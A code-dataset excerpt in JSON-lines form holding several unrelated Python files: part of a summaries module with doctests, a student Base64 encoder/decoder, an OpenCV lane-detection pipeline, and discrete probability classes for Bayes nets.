names in the flat one are the concatenation of all ancestral key names joined with the provided separator.\"\"\"\n        def flatten_pairs(pairs):\n            flat_pairs = []\n            for key, value in pairs:\n                if isinstance(value, Fields):\n                    fields = typing.cast(Fields, value)\n                    sub_pairs = flatten_pairs(fields.items())\n                    flat_pairs += list((f'{key}{sep}{sub_key}',sub_value) for sub_key,sub_value in sub_pairs)\n                else:\n                    flat_pairs.append((key,value))\n            return flat_pairs\n        pairs = flatten_pairs(self.items())\n        fields = Fields(str(self.name), pairs)\n        return fields\n\nclass FieldVisitor(SummaryVisitor):\n    def on_assemble(self, state, actions):\n        if isinstance(state.value, dict):\n            state.value = Fields(state.name, state.value.items())\nclass FieldSummariser(Summariser):\n    \"\"\"\n    >>> class Container(SimpleNamespace, SummarisableFromFields):\n    ...     __summary_fields__ = ['a','bee']\n    ...     __summary_onmissing__ = 'ommit'\n    >>> o = Container(a=1,bee=SummarisableList([4,5]))\n    >>> print(FieldSummariser()(o).dump(align_keys=True,pad=1,prefix='+'))\n    +a   = 1\n    +bee = [4, 5]\n    >>> o = Container(a=Container(a=4,bee=[]),bee=SummarisableList([4,5]))\n    >>> print(FieldSummariser()(o).flatten().dump(align_keys=True))\n    a.a  =4\n    a.bee=[]\n    bee  =[4, 5]\n\n    {'name': 'Container', 'records': {'a': 1, 'bee': {'class': 'SummarisableList', 'entries': [4, 5]}}}\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.add_visitor(FieldVisitor())\n\n\n# class CompressionScheme(enum.Enum):\n#     BASE64 = enum.auto()\n#     B64GZIP = enum.auto()\n#     GZIP = enum.auto()\n#   \n# class CompressionToString(enum.Enum):\n#     AUTO = enum.auto()\n#     JSON = enum.auto()\n#     STR = enum.auto()\n#     REPR = enum.auto()\n#     RAW = enum.auto()\n#   \n# '''Tagging class as summary compressible. Also usable as a mixin.'''\n# class SummaryCompressible(Summarisable):\n#     summary_compressible_encoding = 'utf8'\n#     summary_compressible_enable:bool = True\n#     summary_compressible_tostring:CompressionToString = None\n#     summary_compressible_scheme:CompressionScheme = CompressionScheme.B64GZIP\n#     def __init__(self, value, enable:bool=None, tostring:CompressionToString=None, scheme:CompressionScheme=None):\n#         if enable is not None:\n#             self.summary_compressible_enable = enable\n#         if tostring is not None:\n#             self.summary_compressible_tostring = tostring\n#         if scheme is not None:\n#             self.summary_compressible_scheme = scheme\n#         self.summary_value = value\n#     def __repr__(self):\n#         return f'{self.__class__.__name__}({self.summary_value!r})'\n#     def __str__(self):\n#         return str(self.value)\n#     def __summary__(self, options:SummaryOptions):\n#         return self.summary_value\n#   \n# '''Tagging class as summary grouppable. Also usable as a mixin.'''\n# class SummaryGroupable(Summarisable):\n#     summary_group_enable:bool = True\n#     summary_group_name:str = None\n#     def __init__(self, value, name=None, enable:bool = True):\n#         if enable is not None:\n#             self.summary_group_enable:bool = enable\n#         if name is not None:\n#             self.summary_group_name:str = name\n#         if self.summary_group_name is None:\n#             self.summary_group_name = self.__class__.__name__\n#         if not hasattr(self.__class__,'summary_value'):\n#             self.summary_value = value\n#     def __summary__(self, options:SummaryOptions):\n#         return self.summary_value\n#   \n# class SummaryGroupCompressible(SummaryGroupable):\n#     summary_group_compressible = SummaryCompressible # class to use to compress group\n\n#  \n# try:\n#     import skopt\n#     class SearchSpaceSummaryVisitor(ClassSummaryVisitor):\n#         __summary_class__ = skopt.space.Dimension\n#         \n#         @ifapplicable\n#         def on_encounter(self, state:SummaryState):\n#             fields = ('args','name','digest')\n#             state.value = {field:state.value[field] for field in fields}\n# except ImportError: pass\n# \n# COMPRESSION_SCHEME_RESOLVER = make_enum_resolver(CompressionScheme)\n# COMPRESSION_STRINGIFY_RESOLVER = make_enum_resolver(CompressionToString)\n# \n# class CompressedEntry(dict):\n#     def __init__(self, value, scheme:CompressionScheme='b64gzip', tostring:CompressionToString='auto', encoding = 'utf8'):\n#         txt, tostring = self._stringify(value, COMPRESSION_STRINGIFY_RESOLVER.resolve(tostring))\n#         txt_bin = txt.encode(encoding)\n#         data, scheme = self._compress(txt_bin, COMPRESSION_SCHEME_RESOLVER.resolve(scheme))\n#         txt_data = data.decode('latin')\n#         super().__init__(value=txt_data, scheme=scheme, tostring=tostring, encoding=encoding)\n#     \n#     @classmethod\n#     def _stringify(cls, what, tostring):\n#         if tostring == CompressionToString.AUTO:\n#             if isinstance(what, (str, bytes)):\n#                 return cls._stringify(what, CompressionToString.RAW)\n#             else:\n#                 try:\n#                     return cls._stringify(what, CompressionToString.JSON)\n#                 except TypeError:\n#                     return cls._stringify(what, CompressionToString.STR)\n#         else:\n#             if tostring == CompressionToString.JSON:\n#                 s = cls._to_json(what)\n#             elif tostring == CompressionToString.STR or tostring == CompressionToString.RAW:\n#                 s = str(what)\n#             elif tostring == CompressionToString.REPR:\n#                 s = repr(what)\n#             else:\n#                 raise RuntimeError(f'Implementation error. Contact developers.')\n#         return s, tostring.name\n#     @classmethod\n#     def _compress(cls, data, scheme:CompressionScheme):\n#         import base64, gzip\n#         if scheme == CompressionScheme.GZIP or scheme == CompressionScheme.B64GZIP:\n#             data = gzip.compress(data)\n#         if scheme == CompressionScheme.BASE64 or scheme == CompressionScheme.B64GZIP:\n#             data = base64.b64encode(data)\n#         return data, scheme.name\n#         \n#     @classmethod\n#     def _to_json(cls, what):\n#         je = json.JSONEncoder(indent=None, separators=',:')\n#         return je.encode(what)\n# \n# class CompressingSummaryVisitor(ClassSummaryVisitor):\n#     __summary_class__ = SummaryCompressible\n#     encoding = 'utf8'\n#     def __init__(self, plain=False, scheme=CompressionScheme.B64GZIP, tostring=CompressionToString.AUTO, allow_override:bool=True):\n#         '''@param reorder_expansion: if the expansion of a data instance is requested, reorder it to be the last among its siblings. Can be True, False, once'''\n#         self.plain = plain\n#         self.tostring = COMPRESSION_STRINGIFY_RESOLVER.resolve(tostring)\n#         self.scheme = COMPRESSION_SCHEME_RESOLVER.resolve(scheme)\n#         self.allow_override: bool = allow_override\n#     \n#     @ifapplicable\n#     def on_encounter(self, state:SummaryState, actions):\n#         self._compress(state)\n#         \n#     @ifapplicable\n#     def on_summarised(self, state:SummaryState, actions):\n#         self._compress(state)\n# \n#     def _compress(self, state):\n#         compressible:SummaryCompressible = state.value\n#         if compressible.summary_compressible_enable:\n#             value = compressible.summary_value\n#             tostring = compressible.summary_compressible_tostring if self.allow_override and hasattr(compressible,'summary_compressible_tostring') and compressible.summary_compressible_tostring is not None else self.tostring\n#             scheme = compressible.summary_compressible_scheme if self.allow_override and hasattr(compressible,'summary_compressible_scheme') and compressible.summary_compressible_scheme is not None else self.scheme\n#             data = CompressedEntry(value=value, scheme=scheme, tostring=tostring)\n#             state.value = data['value'] if self.plain else data\n#         \n#     def __repr__(self):\n#         return f'<{self.__class__.__name__} {\"PLAIN\" if self.plain else \"OBJECT\"} {self.tostring.name} {self.scheme.name}>'\n#         \n# class GrouppedEntry(SummarisableDict):\n#     def __init__(self, group, key):\n#         super().__init__(group=group, key=key)\n# \n# class GrouppingSummaryVisitor(ClassSummaryVisitor):\n#     __summary_class__ = SummaryGroupable\n#     encoding = 'utf8'\n#     summary_compressible = SummaryCompressible\n#     \n#     class Data(Summarisable):\n#         summary_sibling_priority = -10\n#         class SummaryGroupData(SummarisableDict): pass\n#         def __init__(self, visitor):\n#             self.visitor = visitor\n#             self.groups = {}\n#             self.compressors = {}\n#             self.finalised = False\n#         def append(self, state:SummaryState):\n#             groupable = state.value\n#             group_name = groupable.summary_group_name\n#             if self.finalised:\n#                 raise RuntimeError(f'Summary filter is finalised, so no more groups can be added.')\n#             if group_name not in self.groups:\n#                 self.groups[group_name] = []\n#                 if hasattr(groupable,'summary_group_compressible') and groupable.summary_group_compressible is not None:\n#                     self.compressors[group_name] = groupable.summary_group_compressible\n#             group = self.groups[group_name] = self.groups.get(group_name, [])\n#             key = len(group)\n#             group.append(state.value.summary_value)\n#             state.value = GrouppedEntry(group=group_name, key=key)\n#         \n#         @property\n#         def compress(self): return self.visitor.compress\n#         def _compressible_class(self, data, group):\n#             cls_cmp = self.compressors.get(group,self.visitor.summary_compressible)\n#             return cls_cmp(data)\n#             \n#         def __summary__(self, summary_options:SummaryOptions):\n#             self.finalised = True\n#             if self.compress:\n#                 cls_lst,cls_dct,cls_cmp = SummarisableList, self.SummaryGroupData, self._compressible_class\n#             else:\n#                 cls_lst,cls_dct,cls_cmp = list, dict, lambda data, group:data\n#             data = cls_lst(cls_dct(group=group,len=len(data),data=cls_cmp(data, group)) for group,data in self.groups.items())\n#             return data\n#         \n#         def __str__(self):\n#             sgrp = '['+','.join(f'{name}:{len(group)}' for name,group in self.groups.items())+']'\n#             return f'{\"[FIN]\" if self.finalised else \"[OK]\"} groups:{sgrp}>'\n#         def __repr__(self):\n#             return f'<{self.__class__.__name__} {self!s}>'\n#     \n#     def __init__(self, compress=False, allow_override:bool = True):\n#         self.data = None\n#         self.reset()\n#         self.compress = compress\n#         self.allow_override: bool = allow_override\n#     def reset(self):\n#         self.data = self.Data(self)\n# \n#     @ifapplicable\n#     def on_encounter(self, state:SummaryState, actions):\n#         if state.value.summary_group_enable:\n#             self.data.append(state)\n#     \n#     def __repr__(self):\n#         return f'<{self.__class__.__name__} {self.data!s}>'\n# \n# class JSONDefaultEncoder(json.JSONEncoder):\n#     def default(self, obj):\n#         if isinstance(obj, complex):\n#             return str(obj)\n#     \n'''\nimport gzip\nimport base64\nimport numpy as np \n\nclass ValidityCodec:\n    \n    @staticmethod\n    def encode(validity):\n        return base64.b64encode(gzip.compress(np.array(validity,bool))).decode('latin')\n    \n    @staticmethod\n    def decode(txt):\n        buf = gzip.decompress(base64.decodestring(txt))\n        return np.frombuffer(buf, bool)\n\n'''\n'''\nclass SelectorSummariser(ClassSummaryFilter):\n    summarise_class = 'Selector'\n    \n    def apply(self, state:SummaryState):\n        selector = state.instance\n        records = state.records\n        data = selector.language.data\n        is_cache_enabled = selector.cache.enabled\n        selector.cache.enabled = False\n        def evaluate(evaluators, part_check):\n            eval_sum = OrderedDict()\n            if state.parts & part_check:\n                for eval_cls in evaluators.classes:\n                    eval_tag = evaluators.get_class_tag(eval_cls)\n                    try:\n                        eval_inst = eval_cls(data)\n                        eval_sum[eval_tag] = eval_inst.evaluate(selector)\n                    except Exception as e:\n                        log.error(f'While evaluating {eval_tag}: {e}')\n                        eval_sum[eval_tag] = nan\n            return eval_sum\n        records['measures'] = evaluate(MEASURES_DEFAULT_CONSTRUCTIBLE, SummaryParts.SELECTOR_MEASURES)\n        records['optimistic-estimators'] = evaluate(OPTIMISTIC_ESTIMATORS_DEFAULT_CONSTRUCTIBLE, SummaryParts.SELECTOR_OPTIMISTIC_ESTIMATES)\n        records['cached'] = {k:v for k,v in selector.cache.items()\n                             if isinstance(v,float)}\n        selector.cache.enabled = is_cache_enabled\n        if state.parts & SummaryParts.SELECTOR_VALIDITIES:\n            records['validity'] = ValidityCodec.encode(selector.validity)\n        \n    def summarise(self, selectors) -> SummaryList:\n        return SummaryList(map(self.summarise_selector, selectors))\n'''\n\n'''\nclass ScoringfunctionSummariser(ConditionalSummaryFilter):\n    def isapplicable(self, state:SummaryState)->bool:\n        if not isinstance(state.instance, ProductBundle):\n            return False\n        return issubclass(state.instance.factory_object, ScoringFunctions)\n        \n    def apply(self, state:SummaryState):\n        fields = ('args','name','digest')\n        state.records = OrderedDict(((field,state.records[field]) for field in fields))\n'''\n        \nif __name__ == '__main__':\n    import sys\n    del sys.path[0]\n    import doctest\n    doctest.testmod()\n    \n    ","repo_name":"kalofoli/sergio","sub_path":"colito/summaries.py","file_name":"summaries.py","file_ext":"py","file_size_in_byte":34450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42360648759","text":"\"\"\"Zadanie 2 lista_2\"\"\"\nimport sys\nTAB = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'\n\n\ndef encode(output_name, input_name):\n    \"\"\"Funkcja koduje plik kodowaniem Base64\"\"\"\n    file_read = open(input_name)\n    file_write = open(output_name, \"wb\")\n    bits = \"\"\n\n    for line in file_read:\n        for char in line:\n            bits += '{0:08b}'.format(ord(char))\n\n    chunks = [bits[index: index + 6] for index in range(0, len(bits), 6)]\n\n    for chunk in chunks:\n        file_write.write(TAB[int(chunk, 2)].encode())\n    file_read.close()\n    file_write.close()\n    print(\"Zakodowano plik: \", input_name)\n\n\ndef decode(input_name, output_name):\n    \"\"\"Funkcja dekoduje plik zakodowany Base64\"\"\"\n    file_read = open(input_name, \"rb\")\n    file_write = open(output_name, \"w\")\n    bits = \"\"\n\n    letters = list(file_read.read())\n\n    for letter in letters:\n        bits += '{0:06b}'.format(TAB.index(chr(letter)))\n    chunks = [bits[index: index + 8] for index in range(0, len(bits), 8)]\n\n    for chunk in chunks:\n        file_write.write(str(chr(int(chunk, 2))))\n\n    file_read.close()\n    file_write.close()\n    print(\"Odkodowano plik:\", input_name)\n\n\nif sys.argv[1] == \"--encode\":\n    encode(sys.argv[2], sys.argv[3])\nelif sys.argv[1] == \"--decode\":\n    decode(sys.argv[2], sys.argv[3])\n","repo_name":"Marcin-Szadkowski/Python","sub_path":"Lista2/zad2.py","file_name":"zad2.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30169555311","text":"class Calibration:\n    def __init__(self, mtx, dist):\n        self.__mtx  = mtx\n        self.__dist = dist\n\n    @property\n    def mtx(self):\n        return self.__mtx\n\n    @property\n    def dist(self):\n        return self.__dist\n\n\nclass Pipeline:\n    def __init__(self, calibration):\n        self.calibration = calibration\n\n    # Helper Utilities\n    def hls(self, image, threshold=[170, 255]):\n        \"\"\"Extract S channel from image\"\"\"\n        hls_image = cv2.cvtColor(image, cv2.COLOR_RGB2HLS)\n        s_channel = hls_image[:,:, 2]\n\n        binary = np.zeros_like(s_channel)\n        binary[(s_channel >= threshold[0]) & (s_channel <= threshold[1])] = 1\n\n        return binary\n\n    def undistort(self, image):\n        \"\"\"Undistort the image given the distortion matrix and destination points\"\"\"\n        return cv2.undistort(image,\n            self.calibration.mtx,\n            self.calibration.dist, None,\n            self.calibration.mtx)\n\n    def lab(self, image, threshold=[150,255]):\n        lab_color_space = cv2.cvtColor(image, cv2.COLOR_RGB2Lab)\n        b_channel = lab_color_space[:, :, 2]\n\n        binary = np.zeros_like(b_channel)\n        binary[((b_channel >= threshold[0]) & (b_channel <= threshold[1]))] = 1\n\n        return binary\n\n    def color_threshold(self, image):\n        \"\"\"Extract R and S channels from `image`.\"\"\"\n        b_channel_threshold = self.lab(image)\n        s_channel_threshold = self.hls(image)\n\n        color_composite = np.zeros_like(s_channel_threshold)\n        color_composite[((s_channel_threshold == 1) | (b_channel_threshold == 1))] = 1\n\n        return color_composite\n\n    def sobelize(self, image, kernel_size=9):\n        \"\"\"Helper function to calculate the Sobel in the X and Y directions\"\"\"\n        sobel_x = cv2.Sobel(image, cv2.CV_64F, 1, 0, ksize = kernel_size)\n        sobel_y = cv2.Sobel(image, cv2.CV_64F, 0, 1, ksize = kernel_size)\n\n        return sobel_x, sobel_y\n\n    def sobel_threshold(self, image, orientation='x', min_threshold=30, max_threshold=255):\n        \"\"\"Absolute Sobel threshold. Adapted from the lectures.\"\"\"\n        if orientation == 'x':\n            sobel, _ = self.sobelize(image)\n        else:\n            _, sobel = self.sobelize(image)\n\n        absolute_sobel = np.absolute(sobel)\n        scaled_sobel = np.uint8(np.multiply(255, absolute_sobel) / np.max(absolute_sobel))\n\n        binary = np.zeros_like(scaled_sobel)\n        binary[(scaled_sobel >= min_threshold) & (scaled_sobel <= max_threshold)] = 1\n\n        return binary\n\n    def magnitude_threshold(self, image, sobel_kernel_size=9, threshold=[40, 200]):\n        \"\"\"Adapted from the lectures\"\"\"\n\n        sobel_x, sobel_y = self.sobelize(image, kernel_size=sobel_kernel_size)\n\n        gradient_magnitude = np.sqrt(np.square(sobel_x) + np.square(sobel_y))\n        scaling_factor = np.divide(np.max(gradient_magnitude), 255)\n        scaled_gradient = np.divide(gradient_magnitude, scaling_factor).astype(np.uint8)\n\n        binary = np.zeros_like(scaled_gradient)\n        binary[(scaled_gradient >= threshold[0]) & (scaled_gradient <= threshold[1])] = 1\n\n        return binary\n\n    def directional_threshold(self, image, sobel_kernel_size=9, threshold=[0.6, 1.1]):\n        \"\"\"Adapted from the lectures\"\"\"\n\n        sobel_x, sobel_y = self.sobelize(image, kernel_size = sobel_kernel_size)\n\n        directional_gradient = np.arctan2(np.absolute(sobel_y), np.absolute(sobel_x))\n\n        binary =  np.zeros_like(directional_gradient)\n        binary[(directional_gradient >= threshold[0]) & (directional_gradient <= threshold[1])] = 1\n\n        return binary\n\n    def gradient_thresholds(self, image):\n        # Sobel Gradients\n        x_gradient = self.sobel_threshold(image, orientation='x', min_threshold=30, max_threshold=200)\n        y_gradient = self.sobel_threshold(image, orientation='y', min_threshold=30, max_threshold=200)\n\n        # Mag Gradient\n        magnitude_threshold = self.magnitude_threshold(image, threshold=[50, 255])\n        # Directional Gradient\n        directional_gradient = self.directional_threshold(image, threshold=[0.8, 1.2])\n\n        gradient_composite = np.zeros_like(directional_gradient)\n        # gradient_composite[((x_gradient == 1) & (magnitude_threshold == 1))] = 1\n        gradient_composite[((x_gradient == 1 | (magnitude_threshold == 1)) & ((directional_gradient == 1) | (y_gradient == 1)))] = 1\n\n        return gradient_composite\n\n    def composite_threshold(self, gradient_threshold, color_threshold):\n        \"\"\"Combine Gradient and Color threholds\"\"\"\n        binary = np.zeros_like(gradient_threshold)\n        binary[(gradient_threshold == 1) | (color_threshold == 1)] = 1\n\n        return binary\n\n    def warp(self, image):\n        image_size = (image.shape[1], image.shape[0])\n\n        source = np.float32(\n            [[500, 480],\n             [810, 482],\n             [1250, 720],\n             [40, 720]])\n\n        destination = np.float32(\n            [[0, 0],\n             [1200, 0],\n             [1200, 720],\n             [0, 720]])\n\n        matrix = cv2.getPerspectiveTransform(source, destination)\n        inverse_matrix = cv2.getPerspectiveTransform(destination, source)\n        warped_image = cv2.warpPerspective(image, matrix, image_size, flags=cv2.INTER_LINEAR)\n\n        return warped_image, matrix, inverse_matrix\n\n    def find_lane(self, binary_warped):\n        \"\"\"Adapted from Udacity's lectures\"\"\"\n        histogram = np.sum(binary_warped[binary_warped.shape[0] // 2:,:], axis=0)\n        out_img = np.dstack((binary_warped, binary_warped, binary_warped))*255\n        midpoint = np.int(histogram.shape[0] / 2)\n        leftx_base = np.argmax(histogram[:midpoint])\n        rightx_base = np.argmax(histogram[midpoint:]) + midpoint\n        nwindows = 9\n        window_height = np.int(binary_warped.shape[0]/nwindows)\n        nonzero = binary_warped.nonzero()\n        nonzeroy = np.array(nonzero[0])\n        nonzerox = np.array(nonzero[1])\n        leftx_current = leftx_base\n        rightx_current = rightx_base\n        margin = 100\n        minpix = 50\n        left_lane_inds = []\n        right_lane_inds = []\n        for window in range(nwindows):\n        # Identify window boundaries in x and y (and right and left)\n            win_y_low = binary_warped.shape[0] - (window+1)*window_height\n            win_y_high = binary_warped.shape[0] - window*window_height\n            win_xleft_low = leftx_current - margin\n            win_xleft_high = leftx_current + margin\n            win_xright_low = rightx_current - margin\n            win_xright_high = rightx_current + margin\n\n            # Draw the windows on the visualization image\n            cv2.rectangle(out_img,(win_xleft_low,win_y_low),(win_xleft_high,win_y_high),(0,255,0), 2)\n            cv2.rectangle(out_img,(win_xright_low,win_y_low),(win_xright_high,win_y_high),(0,255,0), 2)\n\n            # Identify the nonzero pixels in x and y within the window\n            good_left_inds = ((nonzeroy >= win_y_low) & (nonzeroy < win_y_high) & (nonzerox >= win_xleft_low) & (nonzerox < win_xleft_high)).nonzero()[0]\n            good_right_inds = ((nonzeroy >= win_y_low) & (nonzeroy < win_y_high) & (nonzerox >= win_xright_low) & (nonzerox < win_xright_high)).nonzero()[0]\n\n            # Append these indices to the lists\n            left_lane_inds.append(good_left_inds)\n            right_lane_inds.append(good_right_inds)\n\n            if len(good_left_inds) > minpix:\n                leftx_current = np.int(np.mean(nonzerox[good_left_inds]))\n            if len(good_right_inds) > minpix:\n                rightx_current = np.int(np.mean(nonzerox[good_right_inds]))\n\n        # Concatenate the arrays of indices\n        left_lane_inds = np.concatenate(left_lane_inds)\n        right_lane_inds = np.concatenate(right_lane_inds)\n\n        # Extract left and right line pixel positions\n        leftx = nonzerox[left_lane_inds]\n        lefty = nonzeroy[left_lane_inds]\n        rightx = nonzerox[right_lane_inds]\n        righty = nonzeroy[right_lane_inds]\n\n        # Fit a second order polynomial to each\n        left_fit = np.polyfit(lefty, leftx, 2)\n        right_fit = np.polyfit(righty, rightx, 2)\n\n        # Generate x and y values for plotting\n        ploty = np.linspace(0, img.shape[0]-1, img.shape[0] )\n        left_fitx = left_fit[0]*ploty**2 + left_fit[1]*ploty + left_fit[2]\n        right_fitx = right_fit[0]*ploty**2 + right_fit[1]*ploty + right_fit[2]\n\n        return ploty, lefty, righty, leftx, rightx, left_fitx, right_fitx\n\n    def curvature_offset(self, ploty, lefty, righty, leftx, rightx):\n        image_width, image_height = 1280, 720\n        y_eval = np.max(ploty)\n\n        lane_pixel_width = np.multiply(image_width, 0.57)\n        meters_per_pixel_y = np.divide(23, image_height)\n        meters_per_pixel_x = np.divide(3.7, lane_pixel_width)\n\n        left_fit_cr = np.polyfit(lefty * meters_per_pixel_y, leftx * meters_per_pixel_x, deg=2)\n        right_fit_cr = np.polyfit(righty * meters_per_pixel_y, rightx * meters_per_pixel_x, deg=2)\n\n        # Adapted from Udacity lectures\n        radius_curvature_left = ((1 + (2 * left_fit_cr[0] * y_eval * meters_per_pixel_y + left_fit_cr[1]) ** 2) ** 1.5) / np.absolute(2 * left_fit_cr[0])\n        right_curverad = ((1 + (2 * right_fit_cr[0] * y_eval*meters_per_pixel_y + right_fit_cr[1]) ** 2) ** 1.5) / np.absolute(2 * right_fit_cr[0])\n        curvature_radius = np.mean([radius_curvature_left, right_curverad])\n\n        image_center = np.multiply(lane_pixel_width, meters_per_pixel_x) / 2\n        car_center = np.mean([left_fit_cr, right_fit_cr])\n        vehicle_offset = np.abs(image_center - car_center)\n\n        return curvature_radius, vehicle_offset\n\n    def draw_lane(self, warped_image, undistorted_image, inverse_matrix, ploty,\n            left_fitx, right_fitx, curvature_radius, vehicle_offset):\n        \"\"\"Draw the lane onto the image and apply the text.\"\"\"\n        warp_zero = np.zeros_like(warped_image).astype(np.uint8)\n\n        color_warp = np.dstack((warp_zero, warp_zero, warp_zero))\n        image_size = (color_warp.shape[1], color_warp.shape[0])\n\n        left_points = np.array([np.transpose(np.vstack([left_fitx, ploty]))])\n        right_points = np.array([np.flipud(np.transpose(np.vstack([right_fitx, ploty])))])\n        left_and_right_points = np.hstack((left_points, right_points))\n\n        cv2.fillPoly(color_warp, np.int_([left_and_right_points]), (0,255, 0))\n        newwarp = cv2.warpPerspective(color_warp, inverse_matrix, image_size)\n        result = cv2.addWeighted(undistorted_image, 1, newwarp, 0.3, 0)\n\n        cv2.putText(result, 'Distance from center: {:.2f} m'.format(vehicle_offset), (100,80), fontFace = 16,\\\n                        fontScale = 2, color=(255,255,255), thickness = 4)\n\n        cv2.putText(result, 'Radius of Curvature {} m'.format(int(curvature_radius)), (120,140),\n                 fontFace = 16, fontScale = 2, color=(255,255,255), thickness = 4)\n\n        return result\n\n    def run(self, image):\n        # Undisort the image\n        undistorted_image = self.undistort(image)\n\n        # Color thresholds\n        color_threshold = self.color_threshold(undistorted_image)\n\n        # Gradient threshold\n        gradient_threshold = self.gradient_thresholds(color_threshold)\n\n        # Combine Gradient and Color thresholding\n        combined_thresholds = self.composite_threshold(gradient_threshold, color_threshold)\n\n        # Warp the image\n        warped_image, _, inverse_matrix = self.warp(combined_thresholds)\n\n        # Draw the lane and derive the curvature offeset\n        ploty, lefty, righty, leftx, rightx, left_fitx, right_fitx = self.find_lane(warped_image)\n        curvature_radius, car_offset = self.curvature_offset(ploty, lefty, righty, leftx, rightx)\n        output = self.draw_lane(warped_image, undistorted_image,\n            inverse_matrix, ploty, left_fitx, right_fitx, curvature_radius, car_offset)\n\n        return output\n","repo_name":"erikshestopal/CarND-Advanced-Lane-Lines","sub_path":"pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":11890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40579943892","text":"import numpy as np\n\nimport discretization\nimport util\n\n\n# pmf being an array probability masses. This function returns the corresponding \n# index that was chosen.\n# rng being a random.Random object\ndef sample_discrete_distribution(pmf_table, rng):\n    rand_val = rng.random()\n    accum = 0\n    for i in np.ndindex(pmf_table.shape):\n        accum += pmf_table[i]\n        if accum > rand_val:\n            break\n    return i\n\n\n# Represents an n-dimensional functions whose output values are suitable for \n# input values of another node. This means they must be evenly spaced, within a \n# certain range.\nclass DiscretePMF(discretization.DiscretizedFunction):\n\n    # pmf_table, being a table of probability masses, is assumed to be normalized\n    # index_to_value_list being a list of size n, where n is the number of \n    # inputs to the function, where each element is a sorted list of values.\n    def __init__(self, pmf_table, index_to_input_list):\n        discretization.DiscretizedFunction.__init__(self, pmf_table, index_to_input_list)\n\n    @classmethod\n    def from_DiscretizedFunction(cls, discretized_fn):\n        tab = discretized_fn.output_table\n        tab = tab / np.sum(tab)\n        return cls(tab, discretized_fn.index_to_input)\n\n    @classmethod\n    def from_pdf(cls, fn, samples):\n        return cls.from_DiscretizedFunction(\n            discretization.DiscretizedFunction.from_nd_fn(\n                fn,\n                (),\n                samples\n            ).integrate()\n        )\n\n    @classmethod\n    def from_scipy_pmf(cls, scipy_pmf, samples):\n        tab = np.zeros(util.get_shape_from_ragged_array(samples))\n        for i in np.ndindex(tab.shape):\n            inputs = util.get_values_from_ragged_array(samples, i)\n            tab[i] = scipy_pmf(inputs)\n        tab = tab / np.sum(tab)\n        return cls(tab, samples)\n\n    def sample(self, rng):\n        result = [None] * len(self.index_to_input)\n        indices = sample_discrete_distribution(self.output_table, rng)\n        for i in range(len(indices)):\n            result[i] = self.index_to_input[i][indices[i]]\n        return {'probability': self.output_table[tuple(indices)], 'index': indices, 'output': result}\n\n\n# This class handles organization of a CPD table, various parents and their \n# possible values. It also works for PMF samples of single variables.\nclass DiscreteCPD(discretization.DiscretizedFunction):\n\n    # cpd_table being an n + 1 dimensional table, where n is the number of \n    # parents.\n    # dimension_to_parent_name being an n-entry list of strings, relating each \n    # dimension of cpd_table (index) to the name of a random variable, one of this \n    # variable's parents.\n    # indices_to_values being a n + 1-entry ragged list, where the first index is the \n    # dimension into the CPD table of the corresponding variable. The second \n    # dimension relates \n    # indices of that variable to its actual values. The n + 1th entry represents \n    # the output values for this discrete CPD.\n    def __init__(self, cpd_table, index_to_input_list):\n        discretization.DiscretizedFunction.__init__(self, cpd_table, index_to_input_list)\n\n    @classmethod\n    def from_DiscretizedFunction(cls, discretized_fn):\n        tbl = discretized_fn.output_table\n        tbl = tbl / np.reshape(np.sum(tbl, axis=tbl.ndim - 1), tuple(list(tbl.shape[:-1]) + [1]))\n        return cls(tbl, discretized_fn.index_to_input)\n\n    @classmethod\n    def from_pdf(cls, fn, samples):\n        return cls.from_DiscretizedFunction(\n            discretization.DiscretizedFunction.from_nd_fn(\n                fn,\n                (),\n                samples\n            ).integrate()\n        )\n\n    # pdf_factory takes values for variables upon which this random variable is conditioned and produces a pdf.\n    # samples is an n-entry list, where the first n-1 entries are random variables upon which this random variable is\n    # conditioned.\n    @classmethod\n    def from_pdf_factory(cls, pdf_factory, samples):\n        # Have to deal with integration eating a sample point.\n        output_table_shape = list(util.get_shape_from_ragged_array(samples))\n        # Not exactly sure why I need the int cast, but, otherwise, it converts the last entry to a floating point.\n        output_table_shape = tuple(output_table_shape[:-1] + [int(output_table_shape[-1] - 1)])\n        output_table = np.zeros(output_table_shape)\n\n        input_shape = output_table_shape[:-1]\n\n        for i in np.ndindex(input_shape):\n            conditioned_assignment = util.get_values_from_ragged_array(samples, i)\n            cpd = pdf_factory(conditioned_assignment)\n            discretized_cpd = discretization.DiscretizedFunction.from_nd_fn(cpd, (), [samples[-1]]).integrate()\n            discretized_cpd_table = discretized_cpd.output_table\n            discretized_cpd_table /= np.sum(discretized_cpd_table)\n            output_table[i] = discretized_cpd_table\n        return cls(output_table, samples[:-1] + [samples[-1][:-1]])\n\n    # conditioned_values being a list of real numbers, the values upon which this CPD is to be clamped.\n    def sample(self, conditioned_values, rng):\n        clamped_cpd = self.get_clamped_cpd(conditioned_values)\n        sample_idx = sample_discrete_distribution(clamped_cpd, rng)\n        return {'probability': clamped_cpd[sample_idx], 'index': sample_idx, 'output': self.index_to_input[self.output_table.ndim - 1][sample_idx]}\n\n    # conditioned_values being a list of real numbers\n    def get_clamped_cpd(self, conditioned_values):\n        cpd_indices = [None] * (self.output_table.ndim - 1)\n        for i in range(len(conditioned_values)):\n            cpd_indices[i] = self.input_to_index[i][conditioned_values[i]]\n\n        return self.output_table[tuple(cpd_indices)]\n","repo_name":"Simon-Swenson-8351/ua-research-fracture","sub_path":"bayes-nets/python/lib/trunk/discrete_prob.py","file_name":"discrete_prob.py","file_ext":"py","file_size_in_byte":5758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
